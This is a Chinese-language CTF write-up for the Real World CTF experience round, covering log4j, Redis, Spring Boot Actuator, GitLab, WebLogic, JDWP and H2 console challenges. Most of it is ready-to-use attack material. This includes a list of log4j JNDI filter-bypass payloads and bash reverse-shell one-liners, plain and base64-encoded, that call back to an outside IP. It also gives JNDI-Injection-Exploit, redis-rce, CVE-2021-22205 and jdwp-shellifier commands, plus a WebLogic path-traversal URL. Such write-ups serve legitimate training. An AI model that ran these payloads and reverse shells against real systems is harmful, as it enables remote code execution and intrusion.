rwctfwp - 图1

realworldctf体验赛

log4flag

看名字就懂了肯定用log4j去打,下载题目附件:

把下载的题目附件下载的war包逆向一下:可以看到有过滤,平常的payload估计不行

rwctfwp - 图2

  1. ${jndi:ldap://domain.com/j}
  2. ${jndi:ldap:/domain.com/a}
  3. ${jndi:dns:/domain.com}
  4. ${jndi:dns://domain.com/j}
  5. ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
  6. ${${::-j}ndi:rmi://domain.com/j}
  7. ${jndi:rmi://domainldap.com/j}
  8. ${${lower:jndi}:${lower:rmi}://domain.com/j}
  9. ${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
  10. ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
  11. ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
  12. ${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
  13. ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
  14. jn${env::-}di:
  15. jn${date:}di${date:':'}
  16. j${k8s:k5:-ND}i${sd:k5:-:}
  17. j${main:\k5:-Nd}i${spring:k5:-:}
  18. j${sys:k5:-nD}${lower:i${web:k5:-:}}
  19. j${::-nD}i${::-:}
  20. j${EnV:K5:-nD}i:
  21. j${loWer:Nd}i${uPper::}

找到一些绕过的payload,利用dnslog去验证一下:rwctfwp - 图3{lower:jndi}:${lower:rmi}://bc9af93a.dns.1433.eu.org./j}

rwctfwp - 图4

rwctfwp - 图5

收到dns解析说明没问题

将反弹shell语句进行base64编码
https://www.jackson-t.ca/runtime-exec-payloads.html

  1. bash -i >& /dev/tcp/116.62.127.33/8888 <&2

编码后:

  1. bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTE2LjYyLjEyNy4zMy84ODg4IDwmMmA=}|{base64,-d}|{bash,-i}

接着直接:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTI3LjMzLzg4ODggPCYy}|{base64,-d}|{bash,-i}” -A “116.62..

rwctfwp - 图6

生成exp:

rwctfwp - 图7{lower:jndi}:${lower:rmi}://116.62.127.33:1099/hysq37}

监听端口拿到flag:
rwctfwp - 图8

Be-a-Database-Hacker

参考原理:https://lonmar.cn/2021/04/10/redis主从复制RCE/

看到是数据库并且端口号为6379,联想到打Redis,搜索一波是Redis 基于主从复制的 RCE 利用方式

参考:https://www.cnblogs.com/Sylon/p/11905625.html

下载exp脚本直接运行

python3 redis-rce.py -r 目的ip -p 目的端口 -L 接受ip -f exp.so

选择 r

然后vps监听一个端口,把shell弹到vps上

rwctfwp - 图9

the Secrets of Memory

Spring Boot Actuator 未授权抓取密码

漏洞介绍

actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块。其提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

Http 方法 路径 描述
get /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
get /configprops 描述配置属性(包含默认值)如何注入 Bean
get /beans 描述应用程序上下文里全部的 Bean,以及它们的关系
get /dump 获取线程活动的快照
get /env 获取全部环境属性
get /env/{name} 根据名称获取特定的环境属性值
get /health 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供
get /info 获取应用程序的定制信息,这些信息由 info 打头的属性提供
get /mappings 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系
get /metrics 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数
get /metrics/{name} 报告指定名称的应用程序度量值
post /shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false)
get /trace 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)

漏洞发现

访问 web 应用的 /actuator/env 发现josn泄露,数据库密码是flag

访问/actuator/heapdump下载内存中的数据,抓取密码。这是使用这个工具https://www.eclipse.org/mat/downloads.php

使用 Eclipse Memory Analyzer 工具的 OQL 语句

查询语句:select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains(“password”))spring_boot 2.x

rwctfwp - 图10

参考:https://www.modb.pro/db/146717

baby flaglab

环境太卡了

这个cve

rwctfwp - 图11

利用工具:https://github.com/Al1ex/CVE-2021-22205

反弹shell:

  1. python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
  2. 这条语句意思是代表,将反弹shell命令写成sh脚本 tmp目录下
  3. python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/1.sh"
  4. 这条语句意思是代表,对写入成功的sh脚本加执行权限
  5. python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/1.sh"
  6. 这条语句意思是代表,运行反弹shell脚本

Flag Console

参考

https://www.cnblogs.com/backlion/p/13951858.html

rwctfwp - 图12

rwctfwp - 图13

以为要爆破,爆破了半天出不来https://www.anquanke.com/post/id/222018

../绕过进后台

console/images/%252E%252E%252Fconsole.portal

rwctfwp - 图14

https://github.com/backlion/CVE-2020-14882_ALL

直接上脚本

rwctfwp - 图15

Java Remote Debugger

JAVA调试协议JDWP实现反弹shell

参考:https://blog.spoock.com/2019/04/20/jdwp-rce/

python2 ./jdwp-shellifier.py -t 139.196.23.201 -p 8888 --break-on 'java.lang.String.indexOf' --cmd 'bash -c {echo,YGJhc2ggLWkgPiYgL2Rldi90Y3AvMTE2LjYyLjEyNy4zMy84ODg4IDwmMmA=}|{base64,-d}|{bash,-i}'

rwctfwp - 图16

H2 Database Console 未授权访问

参考:https://blog.csdn.net/zy15667076526/article/details/111413979

这个洞类似log4j

Driver Class:填

  1. javax.naming.InitialContext

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNjIuMTI3LjMzLzg4ODggPCYy}|{base64,-d}|{bash,-i}” -A “116.62.127.33”

这里使用rmi:

rwctfwp - 图17

拿到shell

rwctfwp - 图18